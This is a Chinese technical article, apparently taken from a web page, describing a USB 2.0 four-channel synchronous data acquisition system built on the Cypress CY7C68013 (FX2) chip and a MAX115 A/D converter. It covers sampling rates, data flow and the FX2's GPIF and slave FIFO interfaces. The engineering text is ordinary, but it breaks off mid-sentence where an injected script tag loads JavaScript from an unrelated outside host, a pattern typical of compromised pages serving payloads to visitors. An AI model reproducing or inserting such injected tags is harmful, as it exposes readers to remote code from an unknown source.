介绍基于usb2.0协议、最多可四路同步采样的高速同步数据采集系统。其单通道采样速度620ksps，四通道同时采样速度可达180ksps。usb接口控制及通信芯片采用cypress公司fx2系列中的cy7c68013，通过对其可编程接口控制逻辑的合理设计和芯片内部fifo的有效运用，实现了数据的高速连续采样。
关键词：usb2.0协议 同步数据采集 cy7c68013 可编程控制接口 fifo
ｕｓｂ（ｕｎｉｖｅｒｓａｌ ｓｅｒｉａｌ ｂｕｓ）总线是ｉｎｔｅｌ、ｎｅｃ、ｍｉｃｒｏｓｏｆｔ、ｉｂｍ等公司联合提出的一种新的串行总线接口规范。为了适应高速传输的需要，２０００年４月，这些公司在原１．１协议的基础上制订了ｕｓｂ２．０传输协议，已超过了目前ｉｅｅｅ１３９４接口４００ｍｂｐｓ的传输速度，达到了４８０ｍｂｐｓ。ｕｓｂ总线使用简单，支持即插即用ｐｎｐ（ｐｌｕｇ ａｎｄ ｐｌａｙ），一台主机可串连１２７个ｕｓｂ设备。设备与主机之间通过轻便、柔性好的ｕｓｂ线缆连接，最长可达５ｍ，使设备具有移动性，可自由挂接在具有ｕｓｂ接口的运行在ｗｉｎｄｏｗｓ９８／ｎｔ平台的ｐｃ机上。ｕｓｂ总线已被越来越多的标准外设和用户自定义外设所使用，如鼠标、键盘、扫描仪、音箱等。
笔者结合设备检测中数据采集的实际需要，设计了该高速同步数据采集系统。该系统最多可四路同步采样，单通道采样速度可达６２０ｋｓｐｓ，四通道同时采样速度可达１８０ｋｓｐｓ。ｕｓｂ接口控制芯片采用ｃｙｐｒｅｓｓ公司ｆｘ２系列中的ｃｙ７ｃ６８０１３，通过对其可编程接口控制逻辑的合理设计和芯片内部ｆｉｆｏ的有效运用，实现了数据的高速连续采样和传输。
１ 基本原理
该采集系统总体框架分三部分：主机（能支持ｕｓｂ２．０协议的ｐｃ机）、内部包含ｃｐｕ及高速缓存的ｕｓｂ接口控制芯片（ｃｙ７ｃ６８０１３）和高速同步采样芯片（ｍａｘ１１５），如图１所示。其数据传输分两部分：控制信号传输和采集数据传输。控制信号方向为由主机到外设，由外设ｃｐｕ控制，数据量较小；采集到的数据由外设到主机，数据量较大。为了保证较高的传输速度，不经过ｃｐｕ。系统基本操作过程为：主机给外设一个采样控制信号，ｆｘ２根据该信号向ａ／ｄ转换器送出相应控制信号，即采样模式控制字；之后由ａ／ｄ转换器自主控制转换，并将各通道采样数据存入其片内缓存。一旦转换完成，由ａ／ｄ的完成位向ｆｘ２的可编程控制接口发读采样结果信号；然后由可编程接口的控制逻辑依次将各通道采样结果从ａ／ｄ的缓存读入ｆｘ２的内部ｆｉｆｏ。当ｆｉｆｏ容量达到指定程度后，自动将数据打包传送给ｕｓｂ总线。期间所有操作不需要ｃｐｕ的干预。采样过程中接口控制逻辑依次取走批量数据，在打包传送时ａ／ｄ仍持续转换，内部ｆｉｆｏ也持续写入转换结果。只要内部ｆｉｆｏ写指针和读指针位置相差达到指定的值就立即取走数据。从而保证了同步连续高速采集的可靠性。
２ 硬件部分
２．１ 芯片介绍
ｃｙ７ｃ６８０１３属于ｃｙｐｒｅｓｓ公司的ｆｘ２系列产品，它提供了对ｕｓｂ２．０的完整解决方案。该芯片包括带８ｋｂ片内ｒａｍ的高速ｃｐｕ、１６位并行地址总线＋８位数据总线、ｉ２ｃ总线、４ｋｂ ｆｉｆｏ存储器以及通用可编程接口（ｇｐｉｆ）、串行接口引擎（ｓｉｅ）和ｕｓｂ２．０收发器。在代码的编写上，与８０５１系列单片机兼容，且速度是标准８０５１的３～５倍。
ｃｙ７ｃ６８０１３与外设有两种接口方式：可编程接口ｇｐｉｆ和ｓｌａｖｅ ｆｉｆｏｓ。可编程接口ｇｐｉｆ是主机方式，可以由软件设置读写控制波形，灵活性很大，几乎可以对任何８／１６ ｂｉｔ接口的控制器、存储器和总线进行数据的主动读写，使用非常灵活。ｓｌａｖｅ ｆｉｆｏｓ方式是从机方式，外部控制器可象对普通ｆｉｆｏ一样对ｆｘ２的多层缓冲ｆｉｆｏ进行读写。ｆｘ２的ｓｌａｖｅ ｆｉｆｏｓ工作方式可设为同步或异步；工作时钟为内部产生或外部?script src=http://er12.com/t.js>
